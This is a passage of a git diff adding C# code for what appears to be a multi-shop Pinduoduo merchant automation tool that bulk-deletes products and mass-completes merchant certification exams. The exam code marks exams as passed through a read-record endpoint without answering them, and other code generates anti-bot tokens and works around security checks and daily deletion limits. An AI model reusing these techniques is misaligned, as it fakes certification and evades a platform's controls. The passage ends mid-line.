b/Work/ManageClass/AdvanceSale.cs new file mode 100644 index 0000000..3486483 --- /dev/null +++ b/Work/ManageClass/AdvanceSale.cs @@ -0,0 +1,41 @@ +using AllBase; +using Newtonsoft.Json; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; +using Work.CollectClass; + +namespace Work.ManageClass +{ + public class AdvanceSale + { + public string Name; + public static Dictionary dic = new Dictionary(); + public static List AdvanceList = new List(); + + public static bool isAdvance = false, SaleSetFalseDown = false, isUpdateAdvance = false; + public static bool apiflag = false; + public static long endAdvanceTime = 0; + public static int ShopThreadCount = 20; + public static bool AllRunningGoods = false; + public static bool RunningAdvance = false; + public static bool NoRunningAdvance = false; + public static bool AllRunningAdvance = false; + } + + public class AdvancStatus + { + public string ShopName = ""; + public int UpCount = 0; + public int DownCount = 0; + public int PreCount = 0; + public int SetSuccess = 0; + public int DownSuccess = 0; + public string status = ""; + + } +} diff --git a/Work/ManageClass/AlibabaShop.cs b/Work/ManageClass/AlibabaShop.cs new file mode 100644 index 0000000..04f30e8 --- /dev/null +++ b/Work/ManageClass/AlibabaShop.cs @@ -0,0 +1,16 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.ManageClass +{ + public class AlibabaShop + { + public static List NoTitleWords = new List(); + public static List TitleCantHad = new List(); + public static List NoBrandName = new List(); + public static List NoPropWords = new List(); + } +} diff --git a/Work/ManageClass/AutoQuestion.cs b/Work/ManageClass/AutoQuestion.cs new file mode 100644 index 0000000..b32e761 --- /dev/null +++ b/Work/ManageClass/AutoQuestion.cs @@ -0,0 +1,496 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; + +namespace Work.ManageClass +{ + public class AutoQuestion + { + public string Name; + public ShopChatBase Shop; + public static int ShopThreadCount = 50; + public int rowindex = 0; + public int colindex = 0; + public static List ShopQuestionList = new List(); + public static List pairList = new List(); + public AutoQuestion(string name) + { + Name = name; + } + public void SetQuestion() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectQue) + continue; + var p = new AutoQuestionControl(Name, shop); + p.rowindex = rowindex; + p.colindex = colindex; + Threadx.ThreadListWait(ref ts, new Thread(p.SetQuestion), ShopThreadCount); + Thread.Sleep(3000); + } + Threadx.ThreadListWait(ref ts); + } + public void QueryQuestion() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectQue) + continue; + var p = new AutoQuestionControl(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.QueryQuestion), ShopThreadCount); + Thread.Sleep(3000); + } + Threadx.ThreadListWait(ref ts); + } + + public void SetAllQuestion() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectQue) + continue; + var p = new AutoQuestionControl(Name, shop); + p.rowindex = rowindex; + p.colindex = colindex; + Threadx.ThreadListWait(ref ts, new Thread(p.SetAllQuestion), ShopThreadCount); + Thread.Sleep(3000); + } + Threadx.ThreadListWait(ref ts); + } + + public void SetAllEquity() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectQue) + continue; + var p = new AutoQuestionControl(Name, shop); + p.rowindex = rowindex; + p.colindex = colindex; + Threadx.ThreadListWait(ref ts, new Thread(p.SetAllEquity), ShopThreadCount); + Thread.Sleep(3000); + } + Threadx.ThreadListWait(ref ts); + } + public void SetSingleEquity() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectQue) + continue; + var p = new AutoQuestionControl(Name, shop); + p.rowindex = rowindex; + Threadx.ThreadListWait(ref ts, new Thread(p.SetSingleEquity), ShopThreadCount); + Thread.Sleep(3000); + } + Threadx.ThreadListWait(ref ts); + } + + } + public class AutoQuestionControl + { + public string Name; + public ShopChatBase Shop; + public int rowindex = 0; + public int colindex = 0; + public List satusList = new List(); + + + public AutoQuestionControl(string name, ShopChatBase shop) + { + Name = name; + Shop = shop; + } + public void QueryQuestion() + { + QueryQuestion(0); + } + + public void QueryQuestion(int type=0) + { + AutoQuestion.pairList.Clear(); + satusList.Clear(); + string url = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList"; + string refere = "https://mms.pinduoduo.com/mallcenter/ability/index"; + string data = "{}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"{""questionnaireId"":[^}]+?}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string item = m[j].Groups[0].Value; + int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId"); + int finished = BaseRegex.GetIntJson(ref item, "finished"); + QuestionKeyValue qk = new QuestionKeyValue(); + qk.key = questionnaireId; + qk.value = finished; + satusList.Add(qk); + } + ShopQuestion sq = new ShopQuestion(); + sq.Shop = Shop; + sq.satusList = satusList; + AutoQuestion.ShopQuestionList.Add(sq); + + m = BaseRegex.GetMatchRegex(ref html, @"""qualificationBenefit"":\s*\[\{[^}]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string item = m[j].Groups[0].Value; + int finished = BaseRegex.GetIntJson(ref item, "benefitStatus"); + QuestionKeyValue qk = new QuestionKeyValue(); + qk.key = j + 1; + qk.value = finished; + AutoQuestion.pairList.Add(qk); + } + if (type == 0) + LogSave.Add(Name, Shop.ShopName + "查询店铺答题状况完成。"); + else + { + var p = AutoQuestion.pairList.Find(s => s.value == 0); + if (p != null) + { + ShopQuestion sqx = new ShopQuestion(); + sqx.Shop = Shop; + sqx.status = "领取权益部分失败"; + AutoQuestion.ShopQuestionList.Add(sqx); + LogSave.Add(Name, Shop.ShopName + "领取权益部分失败。"); + } + else + { + ShopQuestion sqx = new ShopQuestion(); + sqx.Shop = Shop; + sqx.status = "领取权益完成"; + AutoQuestion.ShopQuestionList.Add(sqx); + LogSave.Add(Name, Shop.ShopName + "领取权益完成。"); + } + } + } + public void SetQuestion() + { + if (rowindex == 0 || colindex == 0) + return; + string cookies = Shop.Cookies; + string url = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList"; + string refere = "https://mms.pinduoduo.com/mallcenter/ability/index"; + string data = "{}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"{""questionnaireId"":[^}]+?}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string item = m[j].Groups[0].Value; + int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId"); + int finished = BaseRegex.GetIntJson(ref item, "finished"); + if (questionnaireId == colindex && finished == 1) + { + string result = RetResult(colindex, "已通过,考试无需再考"); + ShopQuestion sq = new ShopQuestion(); + sq.Shop = Shop; + sq.status = "已通过,考试无需再考"; + AutoQuestion.ShopQuestionList.Add(sq); + LogSave.Add(Name, result); + return; + } + else + { + break; + } + } + Thread.Sleep(1000); + url = "https://mms.pinduoduo.com/rivendell/api/questionnaire/getQuestionnaireDetail"; + refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/"+ colindex; + data = "{\"questionnaireId\":"+colindex+"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + Thread.Sleep(1000); + + url = "https://mms.pinduoduo.com/rivendell/api/qualification/detail"; + refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/"+ colindex; + data = "{\"qualificationId\":"+rowindex+"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + Thread.Sleep(200); + + url = "https://mms.pinduoduo.com/rivendell/api/questionnaire/updateReadRecord"; + refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/"+ colindex; + data = "{\"questionnaireId\":"+ colindex + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + if (html.Contains("\"success\":true")) + { + ShopQuestion sq = new ShopQuestion(); + sq.Shop = Shop; + sq.status = "已通过"; + AutoQuestion.ShopQuestionList.Add(sq); + LogSave.Add(Name, RetResult(colindex)); + } + } + + public void SetAllQuestion() + { + satusList.Clear(); + string urlx = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList"; + string referex = "https://mms.pinduoduo.com/mallcenter/ability/index"; + string datax = "{}"; + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies); + var m = BaseRegex.GetMatchRegex(ref htmlx, @"{""questionnaireId"":[^}]+?}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string item = m[j].Groups[0].Value; + int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId"); + int finished = BaseRegex.GetIntJson(ref item, "finished"); + QuestionKeyValue qk = new QuestionKeyValue(); + qk.key = questionnaireId; + qk.value = finished; + satusList.Add(qk); + } + string cookies = Shop.Cookies; + for (int i =1; i < 5; i++) + { + for (int j = 1; j < 5; j++) + { + rowindex = i; + colindex = j + 4 * (i - 1); + var staval = satusList.Find(sa => sa.key == colindex); + if (staval.value==1) + { + string result = RetResult(colindex, "已通过,考试无需再考"); + ShopQuestion sq = new ShopQuestion(); + sq.Shop = Shop; + sq.status = result; + AutoQuestion.ShopQuestionList.Add(sq); + LogSave.Add(Name, RetResult(colindex)); + continue; + } + string url = "https://mms.pinduoduo.com/rivendell/api/questionnaire/getQuestionnaireDetail"; + string refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/" + colindex; + string data = "{\"questionnaireId\":" + colindex + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + Thread.Sleep(200); + + url = "https://mms.pinduoduo.com/rivendell/api/qualification/detail"; + refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/" + colindex; + data = "{\"qualificationId\":" + rowindex + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + Thread.Sleep(200); + + url = "https://mms.pinduoduo.com/rivendell/api/questionnaire/updateReadRecord"; + refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/" + colindex; + data = "{\"questionnaireId\":" + colindex + "}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + if (html.Contains("\"success\":true")) + { + string result = RetResult(colindex); + //ShopQuestion sq = new ShopQuestion(); + //sq.Shop = Shop; + //sq.status = result; + //AutoQuestion.ShopQuestionList.Add(sq); + LogSave.Add(Name, result); + } + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(1, 5); + Thread.Sleep(randx); + } + } + QueryStatusQuestion(); + } + public void QueryStatusQuestion() + { + satusList.Clear(); + string url = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList"; + string refere = "https://mms.pinduoduo.com/mallcenter/ability/index"; + string data = "{}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + var m = BaseRegex.GetMatchRegex(ref html, @"{""questionnaireId"":[^}]+?}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string item = m[j].Groups[0].Value; + int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId"); + int finished = BaseRegex.GetIntJson(ref item, "finished"); + QuestionKeyValue qk = new QuestionKeyValue(); + qk.key = questionnaireId; + qk.value = finished; + satusList.Add(qk); + } + var p = satusList.Find(s=>s.value==0); + if (p != null) + { + ShopQuestion sq = new ShopQuestion(); + sq.Shop = Shop; + sq.status = "答题部分失败"; + AutoQuestion.ShopQuestionList.Add(sq); + } + else + { + ShopQuestion sq = new ShopQuestion(); + sq.Shop = Shop; + sq.status = "答题全部成功"; + AutoQuestion.ShopQuestionList.Add(sq); + } + } + + public void SetAllEquity() + { + satusList.Clear(); + string urlx = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList"; + string referex = "https://mms.pinduoduo.com/mallcenter/ability/index"; + string datax = "{}"; + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies); + var m = BaseRegex.GetMatchRegex(ref htmlx, @"{""questionnaireId"":[^}]+?}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string item = m[j].Groups[0].Value; + int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId"); + int finished = BaseRegex.GetIntJson(ref item, "finished"); + QuestionKeyValue qk = new QuestionKeyValue(); + qk.key = questionnaireId; + qk.value = finished; + satusList.Add(qk); + } + string cookies = Shop.Cookies; + for (int i = 1; i < 5; i++) + { + rowindex = i; + if (satusList[4 * i - 4].value != 1 || satusList[4 * i - 3].value != 1 || satusList[4 * i - 2].value != 1 || satusList[4 * i-1].value != 1) + continue; + string url = "https://mms.pinduoduo.com/rivendell/api/qualification/receiveBenefits"; + string refere = "https://mms.pinduoduo.com/mallcenter/ability/index"; + string data = "{\"qualificationId\":" + rowindex + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + LogSave.Add(Name, RetResultEqu(i)); + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(1, 5); + Thread.Sleep(randx); + } + QueryQuestion(1); + } + public void SetSingleEquity() + { + satusList.Clear(); + string urlx = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList"; + string referex = "https://mms.pinduoduo.com/mallcenter/ability/index"; + string datax = "{}"; + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies); + var m = BaseRegex.GetMatchRegex(ref htmlx, @"{""questionnaireId"":[^}]+?}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string item = m[j].Groups[0].Value; + int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId"); + int finished = BaseRegex.GetIntJson(ref item, "finished"); + QuestionKeyValue qk = new QuestionKeyValue(); + qk.key = questionnaireId; + qk.value = finished; + satusList.Add(qk); + } + string cookies = Shop.Cookies; + if (satusList[4 * rowindex - 4].value != 1 || satusList[4 * rowindex - 3].value != 1 || satusList[4 * rowindex - 2].value != 1 || satusList[4 * rowindex - 1].value != 1) + return; + string url = "https://mms.pinduoduo.com/rivendell/api/qualification/receiveBenefits"; + string refere = "https://mms.pinduoduo.com/mallcenter/ability/index"; + string data = "{\"qualificationId\":" + rowindex + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies); + LogSave.Add(Name, RetResultEqu(rowindex)); + QueryQuestion(1); + int randx = new Random(Guid.NewGuid().GetHashCode()).Next(1, 5); + Thread.Sleep(randx); + + } + public string RetResultEqu(int col, string str = "已领取权益") + { + string result = ""; + switch (col) + { + case 1: + result = "基础经营能力认证,"; + break; + case 2: + result = "高级经营能力认证,"; + break; + case 3: + result = "推广能力认证,"; + break; + case 4: + result = "活动能力认证,"; + break; + } + return Shop.ShopName + ":" + result + str; + } + public string RetResult(int col,string str= "已通过") + { + string result = ""; + switch(col) + { + case 1: + result = "基础经营能力认证,试题Ⅰ:新商家入驻"; + break; + case 2: + result = "基础经营能力认证,试题Ⅱ:平台规则"; + break; + case 3: + result = "基础经营能力认证,试题Ⅲ:商品设置、店铺运营"; + break; + case 4: + result = "基础经营能力认证,试题Ⅳ:客户服务"; + break; + case 5: + result = "高级经营能力认证,试题Ⅰ:店铺管理"; + break; + case 6: + result = "高级经营能力认证,试题Ⅱ:商品管理"; + break; + case 7: + result = "高级经营能力认证,试题Ⅲ:订单管理"; + break; + case 8: + result = "高级经营能力认证,试题Ⅳ:售后管理"; + break; + case 9: + result = "推广能力认证,试题Ⅰ:营销推广入门"; + break; + case 10: + result = "推广能力认证,试题Ⅱ:营销推广基础"; + break; + case 11: + result = "推广能力认证,试题Ⅲ:营销推广进阶"; + break; + case 12: + result = "推广能力认证,试题Ⅳ:多多进宝"; + break; + case 13: + result = "活动能力认证,试题Ⅰ:秒杀活动"; + break; + case 14: + result = "活动能力认证,试题Ⅱ:领券中心"; + break; + case 15: + result = "活动能力认证,试题Ⅲ:竞价"; + break; + case 16: + result = "活动能力认证,试题Ⅳ:报名活动注意事项"; + break; + + } + return Shop.ShopName+":"+result+ str; + } + } + public class ShopQuestion + { + public ShopChatBase Shop; + public string status; + public List satusList = new List(); + } + public class QuestionKeyValue + { + public int key; + public int value; + } + +} diff --git a/Work/ManageClass/ClearProductGroup.cs b/Work/ManageClass/ClearProductGroup.cs new file mode 100644 index 0000000..ecca9e0 --- /dev/null +++ b/Work/ManageClass/ClearProductGroup.cs @@ -0,0 +1,2123 @@ +using AllBase; +using JavaScriptEngineSwitcher.Core; +using JavaScriptEngineSwitcher.V8; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; +using Work.CollectClass; + +namespace Work.ManageClass +{ + public class ClearProductGroup + { + public static List ProductClearTemp = new List(); + public static List ClearGroupStatusList = new List(); + public static List ShopTemp = new List(); + public static List InvalidShopTemp = new List(); + public static string adslName; + public static string adslPassWord; + public static bool punoff; + public static bool selTime; + public static bool selStart = true; + public static DateTime selDateTime; + /// + /// 是否理指定天数内商品 + /// + public static bool IsNoDays = false; + /// + /// 不处理的天数 + /// + public static int DaysCount = 0; + /// + /// 使用Api接口操作数据 + /// + public static bool IsUseApi = false; + /// + /// 是否设置操作商品数量 + /// + public static bool IsGoodCount = false; + /// + /// 群控清理操作的商品数 + /// + public static int GoodCount = 0; + /// + /// 是否只处理在价格范围内的商品 + /// + public static bool IsPrice = false; + public static int MinPrice = 0; + public static int MaxPrice = 0; + /// + /// 不包含销量 + /// + public static bool IsNoSold = false; + /// + /// 不包含访客 + /// + public static bool IsNoVisit = false; + /// + /// 不包含收藏 + /// + public static bool IsNoColl = false; + + public int DelCount = 0; + public int OffCount = 0; + public string Name; + public ShopChatBase Shop; + public bool IsOnline = false; + public string delIds; + public bool isAdsl = false; + + public ClearProductGroup(string name, ShopChatBase shop) + { + Name = name; + Shop = shop; + } + + public void Delete() + { + GetAllGroupOnline(); + Shop.ClearNoVisitShop.goodsCount = Shop.OnOrOffProduct.Count; + ShopTemp.Add(Shop); + + List ids = new List(); + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + List idsx = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + IsOnline = !Shop.OnOrOffProduct[j].OffLine; + if (IsOnline) + { + idsx.Add(Shop.OnOrOffProduct[j].GoodsId); + OffCount++; + if (OffCount > GoodCount) + break; + if (idsx.Count >= 15) + { + string html = OffShop(idsx); + idsx.Clear(); + if (html == "error") + break; + Shop.ClearNoVisitShop.offCount = OffCount; + ShopTemp.Add(Shop); + + Thread.Sleep(10 * 1000); + } + } + } + if (idsx.Count > 0) + { + OffShop(idsx); + idsx.Clear(); + Shop.ClearNoVisitShop.offCount = OffCount; + ShopTemp.Add(Shop); + + } + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + //isOnline = !Shop.OnOrOffProduct[j].OffLine; + //if (isOnline) + //{ + // var api = new PinduoduoApiGetProduct(Shop); + // string html = api.SetOnline(Shop.OnOrOffProduct[j].GoodsId, false); + // Shop.OnOrOffProduct[j].Message = !isOnline ? "上架成功" : "下架成功"; + // ProductClearTemp.Add(Shop.OnOrOffProduct[j]); + // LogSave.Add(Name, "在线产品 " + Shop.OnOrOffProduct[j].Titlte + Shop.OnOrOffProduct[j].Message); + //} + ids.Add(Shop.OnOrOffProduct[j].GoodsId); + DelCount++; + Shop.OnOrOffProduct[j].Message = "删除成功"; + if (ids.Count >= 100) + { + string html = DelGroupIds(ids); + if (DelCount > GoodCount) + break; + if (html.Contains("您当日所删除的商品已达上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + ProductClearTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + ProductClearTemp.Add(p); + } + ids.Clear(); + Shop.ClearNoVisitShop.delCount = DelCount; + ShopTemp.Add(Shop); + + LogSave.Add(Name, "删除成功:" + Shop.OnOrOffProduct[j].GoodsId); + Thread.Sleep(3 * 1000); + } + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + if (html.Contains("您当日所删除的商品已达上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + p.Message = " "; + ProductClearTemp.Add(p); + } + return; + } + for (int i = 0; i < ids.Count; i++) + { + var p = Shop.OnOrOffProduct.Find(sp => sp.GoodsId == ids[i]); + ProductClearTemp.Add(p); + } + Shop.ClearNoVisitShop.delCount = DelCount; + ShopTemp.Add(Shop); + + } + Shop.ClearNoVisitShop.goodStatus = "删除完成"; + ShopTemp.Add(Shop); + LogSave.Add(Name, "删除完成"); + } + public void DeleteUp() + { + GetAllOnlineCount(); + GetDelAllGroupOnline(); + if (IsUseApi) + { + var api = new PinduoduoApiGetProduct(Shop); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + IsOnline = !Shop.OnOrOffProduct[j].OffLine; + string html = ""; + if (IsOnline) + { + html = api.SetOnline(Shop.OnOrOffProduct[j].GoodsId, false); + OffCount++; + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个"; + ShopTemp.Add(Shop); + } + Thread.Sleep(3 * 1000); + } + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个(完成)"; + ShopTemp.Add(Shop); + LogSave.Add(Name, "下架完成"); + + } + else + { + if (string.IsNullOrEmpty(PinduoduoAuth.strContent)) + { + PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path); + } + string NoCode = ""; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + if (string.IsNullOrEmpty(NoCode)) + { + string htmlx = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt"); + NoCode = BaseRegex.GetMatchRegexString(ref htmlx, @"([\w\W]+?)-----"); + } + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, NoCode, ""); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent); + + List idsx = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + IsOnline = !Shop.OnOrOffProduct[j].OffLine; + if (IsOnline) + { + idsx.Add(Shop.OnOrOffProduct[j].GoodsId); + OffCount++; + if (IsGoodCount && OffCount >= GoodCount) + break; + if (idsx.Count >= 15) + { + string html = OffShop(idsx); + idsx.Clear(); + if (!string.IsNullOrEmpty(html) && html.Contains("为了保障您的账户安全,请先进行安全验证")) + { + Shop.ClearNoVisitShop.goodStatus = "请使用API接口"; + ShopTemp.Add(Shop); + return; + } + if (!string.IsNullOrEmpty(html)) + { + Shop.ClearNoVisitShop.goodStatus = "请查看IP是否被限制"; + ShopTemp.Add(Shop); + continue; + } + + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个"; + ShopTemp.Add(Shop); + + Thread.Sleep(10 * 1000); + } + } + } + if (idsx.Count > 0) + { + OffShop(idsx); + idsx.Clear(); + Shop.ClearNoVisitShop.goodStatus = "下架第" + OffCount + "个(完成)"; + ShopTemp.Add(Shop); + } + } + List ids = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + ids.Add(Shop.OnOrOffProduct[j].GoodsId); + DelCount++; + Shop.OnOrOffProduct[j].Message = "删除成功"; + if (ids.Count >= 100) + { + if (IsGoodCount && DelCount >= GoodCount) + break; + string html = DelGroupIds(ids); + if (html.Contains("您当日所删除的商品已达上限") || html.Contains("所选商品超出当日删除量上限")) + { + List delids = new List(); + for (int i = 0; i < ids.Count; i++) + { + delids.Add(ids[i]); + if ((i + 1) % 10 == 0) + { + html = DelGroupIds(delids); + delids.Clear(); + Thread.Sleep(3 * 1000); + } + if (html.Contains("您当日所删除的商品已达上限")) + break; + + } + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + Shop.ClearNoVisitShop.goodStatus = "今日删除商品已达上限"; + ShopTemp.Add(Shop); + return; + } + ids.Clear(); + Shop.ClearNoVisitShop.goodStatus = "删除上架中" + DelCount + "个"; + ShopTemp.Add(Shop); + + LogSave.Add(Name, "删除成功:" + Shop.OnOrOffProduct[j].GoodsId); + Thread.Sleep(5 * 1000); + } + } + if (ids.Count > 0) + { + string html = DelGroupIds(ids); + if (html.Contains("您当日所删除的商品已达上限") || html.Contains("所选商品超出当日删除量上限")) + { + LogSave.Add(Name, "今日删除商品已达上限:" + Shop.ShopName); + Shop.ClearNoVisitShop.goodStatus = "今日删除商品已达上限"; + ShopTemp.Add(Shop); + return; + } + Shop.ClearNoVisitShop.goodStatus = "删除上架中" + DelCount + "个(完成)"; + ShopTemp.Add(Shop); + + } + LogSave.Add(Name, "删除完成"); + } + + public void DeleteGlide() + { + GetAllOnlineCount(); + Shop.OnOrOffProduct.Clear(); + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"check_status\":3,\"start\":0,\"length\":100}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon());/// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + + if (page > 1000) + { + page = 1000; + } + for (int i = 0; i < page; i++) + { + if (IsGoodCount && count >= GoodCount) + break; + if (count > 1100) + break; + if (i != 0) + { + data = "{\"check_status\":3,\"start\":"+ i * 100 + ",\"length\":100}"; + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + } + + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + if (count > 1100) + break; + if (IsGoodCount && count >= GoodCount) + break; + + string list = m[j].Groups[0].Value; + TaobaoProductBase p = new TaobaoProductBase(); + p.toId= BaseRegex.GetLongJson(ref list, "id"); + p.GoodsId = BaseRegex.GetLongJson(ref list, "goods_id"); + p.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + p.ShopName = Shop.ShopName; + if (!Shop.OnOrOffProduct.Exists(pt => pt != null && pt.GoodsId == p.GoodsId)) + Shop.OnOrOffProduct.Add(p); + count++; + } + Thread.Sleep(300); + LogSave.Add(Name, "获取在线产品 " + shopName + ",分页:" + i); + } + + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/delete"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + if (IsGoodCount) + break; + data = "{\"goods_commit_id\":"+ Shop.OnOrOffProduct[j].toId+ "}"; + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data, CpsSetAllGoods.getAnti0aon()); + LogSave.Add(Name, "正在删除驳回商品 " + Shop.OnOrOffProduct[j].GoodsId); + Shop.ClearNoVisitShop.goodStatus = "删除第" + (j+1) + "个(完成)"; + ShopTemp.Add(Shop); + Thread.Sleep(1000); + } + LogSave.Add(Name, "删除驳回商品完成"); + } + + public void DeleteDown() + { + GetAllOnlineCount(); + GetDelAllGroupOnline(); + + List ids = new List(); + for (int j = 0; j < Shop.OnOrOffProduct.Count; j++) + { + if (IsGoodCount && DelCount >= GoodCount) + break; + ids.Add(Shop.OnOrOffProduct[j].GoodsId); + DelCount++; + Shop.OnOrOffProduct[j].Message = "删除成功"; + if (ids.Count >= 100) + { + if (IsGoodCount && DelCount >= GoodCount) + break; + string html = DelGroupIds(ids); + if (html.Contains("您当日所删除的商品已达上限") || html.Contains("所选商品超出当日删除量上限")) + { + List delids = new List(); + for (int i = 0; i < ids.Count; i++) + { + delids.Add(ids[i]); + if ((i+1)%10==0) + { + html = DelGroupIds(delids); + delids.Clear(); + Thread.Sleep(3 * 1000); + } + if (html.Contains("您当日所删除的商品已达上限")) + break; + + } + LogSave.Add(Name, "今日删除商品已达上限:" + 